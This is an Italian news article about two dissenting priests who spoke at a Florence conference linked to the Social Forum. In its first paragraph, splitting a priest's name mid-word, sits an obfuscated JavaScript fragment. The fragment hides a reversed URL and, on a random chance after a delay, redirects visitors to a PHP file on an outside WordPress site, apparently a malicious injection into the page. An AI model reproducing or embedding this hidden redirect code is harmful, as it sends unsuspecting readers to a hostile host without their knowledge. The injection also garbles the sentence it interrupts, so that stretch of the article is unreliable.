Preti sovversivi

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Li chiamano sovversivi perché hanno sfilato per le vie di Genova e Firenze insieme ai famigerati “no global”, li chiamano dissenzienti perchè hanno scelto di stare dalla parte degli ultimi di questa terra, ma sono e rimangono pastori di Dio. Sono don Aless (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andro Santoro e don Vitaliano della Sala, i due preti, meglio i sovversivi, che lo scorso 29 dicembre hanno animato un’affollata conferenza, presso i locali della Stazione Leopolda in occasione della mostra fotografica dedicata al Social Forum fiorentino intitolata appunto “Subversives”.
L’uno proveniente dalla comunità delle Piagge a Firenze, l’altro ex parroco di un paese sulle montagne di Avellino, i due sacerdoti sono stati chiamati a raccontare la loro storia e la loro volontà di partecipare alla protesta contro l’attuale sistema globale che produce guerra, ingiustizia e povertà, e a spiegare perché oggi in Italia sia tanto facile guadagnare il titolo di “sovversivo”. “Nessuno si meravigli – hanno più volte sottolineato i due – che preti e suore fossero a Genova. Nonostante la Chiesa viva rispetto ai movimenti un problema di schieramento, chi legge veramente il Vangelo non può che scegliere una parte da cui stare”. “È tempo di prendere una posizione certa rispetto all’attuale vuoto di democrazia – ha tuonato forte don Alessandro Santoro – stare dalla parte degli ultimi della storia è diventata, oggi più di prima, una necessità. Io sono un non violento per struttura, ma questo sistema deve essere cambiato, sovvertito in maniera non violenta, iniziando a prendere decisioni e pensando che ciascuna delle nostre azioni è un vero e proprio atto politico e che ognuno di noi ha una precisa responsabilità in tutte le cose”. Dello stesso avviso anche don Vitaliano che ha più volte ribadito di “credere profondamente nella forza di questo movimento che ha manifestato apertamente il rifiuto per la guerra e per uno stato di cose che inevitabilmente genera sempre più povertà. Ci fanno credere che la guerra non sia ancora iniziata, ma la guerra del Nord del mondo contro il Sud del pianeta è già in atto da tempo. E il nostro dissenso fa paura a chi comanda il mondo. Bene fanno – ha poi continuato don Vitaliano – a temere questo movimento che continua a crescere e credere che un altro mondo è possibile. Non un’utopia, ma un’idea forte e concreta”. Nelle loro parole tante le citazioni dal Vangelo, a ribadire che questo modo di pensare così ribelle e disobbediente è invece “patrimonio genetico” della Chiesa e dei suoi figli. Come ricordato da don Vitaliano “il Vangelo racconta la storia di un uomo che dissentiva dall’ordine di cose del proprio tempo e per questo è stato messo in croce. Anche nelle Beatitudini si legge che i perseguitati saranno beati perché di essi è il Regno dei Cieli. E chi sono questi perseguitati – si è chiesto don Vitaliano – se non chi dissente, disobbedendo ad un sistema che tenta di imporre la guerra come l’unico mezzo per risolvere le questioni internazionali?”.

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